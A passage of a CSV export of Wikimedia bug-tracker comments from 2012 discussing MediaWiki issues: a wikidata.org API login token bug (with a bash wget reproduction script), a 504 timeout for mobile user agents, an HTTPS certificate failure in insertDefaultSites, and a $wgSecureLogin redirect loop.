+193472,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I wonder if we in the beginning asked for a new token as we used a special itemtoken. That would reset the other tokens to. I think the code is gone now as we use the edittoken, but I'm not completly sure.
+
+After checking the code I'm pretty sure its gone.",,,1355752385,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+193471,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Daniel: I didn't assign it on purpose, it's just the default assignee.
+If it's a config issue I'll move it to ""Site requests"".",,,1355744712,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+193470,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","@andre: assigning this to wikidata-bugs is not helpful, since it doesn't seem to be a problem with the Wikibase software. This issue is not present on any other system running Wikibase, and Wikibase doesn't mess with the login process or tokens. This seems to be a configuration issue, or some oddity related to having a wiki with no subdomain.
+
+In any case, we at the very least need help from someone with shell access for debugging this. So I think it makes sense to keep this on wikibugs-l.",,,1355734493,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
+193469,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Test script:
+
+#!/bin/bash
+#FILENAME: login.sh
+#USAGE: login.sh USERNAME PASSWORD DOMAIN
+USERNAME=""$1""
+PASSWD=""$2""
+DOMAIN=""${3:-www.wikidata.org}""
+ 
+RESP1=`wget -qO- --no-cookies --user-agent=LOGIN --post-data ""action=login&lgname=${USERNAME}&lgpassword=${PASSWD}&format=xml"" http://${DOMAIN}/w/api.php`
+echo ""${RESP1}""
+TOKEN=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*token=""\([^""]*\)"".*/\1/; p }'`
+SESSIONID=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*sessionid=""\([^""]*\)"".*/\1/; p }'`
+COOKIEPREFIX=`echo ""${RESP1}"" | sed -ne '/<login/ { s/.*cookieprefix=""\([^""]*\)"".*/\1/; p }'`
+ 
+wget -qO- --no-cookies --user-agent=LOGIN --post-data ""action=login&lgname=${USERNAME}&lgpassword=${PASSWD}&lgtoken=${TOKEN}&format=xml"" --header ""Cookie: ${COOKIEPREFIX}_session=${SESSIONID}"" http://${DOMAIN}/w/api.php
+
+
+----
+works on dewiki:
+ $ bash login.sh MerlIwBot XXX de.wikipedia.org
+ <?xml version=""1.0""?><api><login result=""NeedToken"" token=""1b0e04d8ec9cd7f28210e2fe8c1cad86"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
+ <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""7874ac3a1851e9f93af3912bf4b00d6b"" cookieprefix=""dewiki"" sessionid=""67c2c8150e3fa887e86d3e9b19722449"" /></api>
+ 
+invalid lgtoken on wikidata.org:
+ $ bash login.sh MerlIwBot XXX www.wikidata.org
+ <?xml version=""1.0""?><api><login result=""NeedToken"" token=""da90161c74826a5629029fc857970660"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>
+ <?xml version=""1.0""?><api><login result=""Success"" lguserid=""1234"" lgusername=""MerlIwBot"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""92b3e5f5e6cdd7145516732b79ca5845"" /></api>",,,1355485374,,PHID-USER-rbcxdzszrm6s4izt67kj,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1
+193468,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I can reproduce the problem now for wikidata.org. The token is returned correctly as an HTTP header it seems, but not in the response body. The same request works fine on en.wikipedia.org and also with my local install with wikibase enabled. 
+
+There must be something odd going on during token creation, but I have no idea what.",,,1355485245,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+193466,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",reopening based on comments at http://www.wikidata.org/wiki/Wikidata:Contact_the_development_team#API:_Login_doesn.27t_work.3F,,,1355483984,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+193463,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Using the API sandbox, I can request a token without any problems: 
+
+http://www.wikidata.org/wiki/Special:ApiSandbox#action=login&format=json&lgname=Foo&lgpassword=Bar
+
+(no, that's not my password. It will generate a valid token anyway).
+
+Closing WFM. Please supply a minimal test case to reproduce the issue if you want to reopoen it.",,,1351713976,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-43,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+193457,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","If i am additionally using centralauth cookie (read from header instead builded from api response) it works for me, too. But not without centralauth cookie as it is described at http://www.mediawiki.org/wiki/API:Login#How_to_log_in",,,1351706943,,PHID-USER-rbcxdzszrm6s4izt67kj,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+193450,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","WFM
+
+""<?xml version=\""1.0\""?><api><login result=\""Success\"" lguserid=\""2\"" lgusername=\""Reedy\"" lgtoken=\""3e07eb6f2406cf44c5f222884aa0ac83\"" cookieprefix=\""wikidatawiki\"" sessionid=\""09cdced66371121d024c7082f8a0c0f4\"" /></api>""",,,1351701129,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1
+43224,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"$ curl -v -H 'User-Agent: iPhone' http://www.wikipedia.org/wiki/
+* About to connect() to www.wikipedia.org port 80 (#0)
+*   Trying 2620:0:861:ed1a::1...
+* connected
+* Connected to www.wikipedia.org (2620:0:861:ed1a::1) port 80 (#0)
+> GET /wiki/ HTTP/1.1
+> Host: www.wikipedia.org
+> Accept: */*
+> User-Agent: iPhone
+> 
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* additional stuff not fine transfer.c:1037: 0 0
+* HTTP 1.1 or later with persistent connection, pipelining supported
+< HTTP/1.1 504 Gateway Time-out
+< Server: nginx/0.7.65
+< Date: Fri, 19 Oct 2012 20:29:48 GMT
+< Content-Type: text/html
+< Content-Length: 183
+< Connection: keep-alive
+< 
+<html>
+<head><title>504 Gateway Time-out</title></head>
+<body bgcolor=""white"">
+<center><h1>504 Gateway Time-out</h1></center>
+<hr><center>nginx/0.7.65</center>
+</body>
+</html>
+* Connection #0 to host www.wikipedia.org left intact
+* Closing connection #0
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=36601",Medium,50.0,1350678600,1392408741.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-6niv2uripvn5aodbb53o,task_description,resolved,True,c2,1,False,False,False,-45,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+197141,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,Can't reproduce; I get HTTP/1.1 301 Moved Permanently.,,,1392408741,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+197135,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"Sorry it indeed was a syntax error.
+When I do curl -v -H 'User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' http://www.wikipedia.org/wiki/
+
+I do indeed get no response
+
+By invalid I had merely hazarded a guess that the servers had not had the user agent 'iPhone' in mind but since the above user agent doesn't work either this is not it, I'm well aware they can be any arbitrary string. I should have double checked my syntax to avoid confusion on the bug thread. Sorry for that.",,,1350752719,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+197128,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"(In reply to comment #2)
+> curl -v H 'User Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en)
+> AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3'
+> http://www.wikipedia.org/wiki/ works fine for me
+> 
+> Is it because the user agent is invalid?
+
+I don't know what are you referring to with ""invalid"". ""User Agent:"" is not valid. The correct header is ""User-Agent:"". And the value for that header can be any arbitrary string, so there's apparently no valid/invalid value for that
+
+http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.43
+
+Even with your suggested value for user-agent, there's no response. You can test this with any telnet client (preferably not the native telnet command of Windows, use PuTTY instead in RAW mode), connecting to www.wikipedia.org on port 80 and sending the following lines of text (with 2 empty newlines at the end):
+
+GET /wiki/ HTTP/1.1
+Host: www.wikipedia.org
+Accept: */*
+User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3",,,1350752265,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,True,,,-45,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1
+197120,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"curl -v H 'User Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' http://www.wikipedia.org/wiki/ works fine for me
+
+Is it because the user agent is invalid?",,,1350751611,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1
+197113,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,I can confirm this happening with not just iPhone but also Android. This issue is upstream of Mobile Front end as MF doesn't serve this URL,,,1350693196,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+42701,Utils::insertDefaultSites sometimes fails when using https,"Reportedly, Idf0a6547 causes insertDefaultSites to fail with an error:
+
+""Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88""
+
+I was not able to reproduce this, but to allow for easier investigation of the issue, I have submitted changes that report more meaningful errors on failure: Iab7e750e for Wikibase and Iad3995a6 for core. If you experience the problem described above, please patch these in and report your findings.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1349175660,1378479792.0,PHID-USER-5dqihbanu3caaj7pigif,False,,False,PHID-TASK-bit4rhpzmwvp22cigbsm,task_description,resolved,True,c2,1,False,False,True,-48,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+190806,Utils::insertDefaultSites sometimes fails when using https,"The problem seems to be cause by CRUL not trusting any SSL CA by default on some systems:
+
+http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/
+
+We may need a configuration setting to allow people to disable the ""HTTPS per default"" behavior.",,,1349176029,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-bit4rhpzmwvp22cigbsm,task_subcomment,,True,c2,1,False,,,-48,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+42679,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"When $wgServer has a scheme, i.e., it is not protocol-relative, which happens to be the default, wfExpandUrl( ..., PROTO_HTTPS ) will give an HTTP link. This causes ResourceLoader content to be loaded over an insecure connection. It also causes redirect loops when redirecting to HTTPS using wfExpandUrl.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: major",Medium,50.0,1349134200,1355451043.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_description,resolved,True,c2,1,False,False,True,-48,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+189718,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"IMHO, the best way to do it would be for $wgServer to not be a URI, but instead just be a host name. Because when somebody enables $wgSecureLogin it's not that far a leap to assume they want HTTPS.",,,1349811496,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+189715,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I should have spoken up sooner on Krinkle's suggestion about disabling $wgSecureLogin. It feels wrong to me to opt for the less secure option if there's a conflict.
+
+But like I put in the comments on gerrit 27136, if this is the best solution we can do it. I'd much rather have the exceptions be insecure than have people afraid to enable $wgSecureLogin in general.",,,1349811300,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-47,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0
+189710,http $wgServer with $wgSecureLogin should not infinitely self-redirect,https://gerrit.wikimedia.org/r/27136,,,1349670132,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+189704,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"There should also really be something in the installer asking whether HTTPS is supported, that way $wgServer can be made protocol-relative by default if the administrator knows beforehand.",,,1349227146,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+189695,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #20)
+> (In reply to comment #19)
+> > 2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a
+> > redirect to HTTPS if server includes http://? That should be impossible.
+> 
+> The change in
+> https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php
+> on line 152 is what does the redirect. It redirects to the output of
+> wfExpandUrl with PROTO_HTTPS passed in. Since wfExpandUrl returns an http link,
+> the page keeps redirecting.
+> 
+
+Interesting, yeah, I can see how that fails. I was thinking it would redirect in a loop between http and https, but that didn't make sense.
+
+I suppose we could check the protocol in $wgServer in Setup.php and disable $wgSecureLogin accordingly.
+
+Either that, or throw an exception. I think we normally do silent failures for configs, which would be fine. Though I could also understand an exception, as it is consistent (e.g. not like you change config, site looks fine, and then later it starts throwing exceptions).",,,1349222487,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-47,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+189688,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #19)
+> 2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a
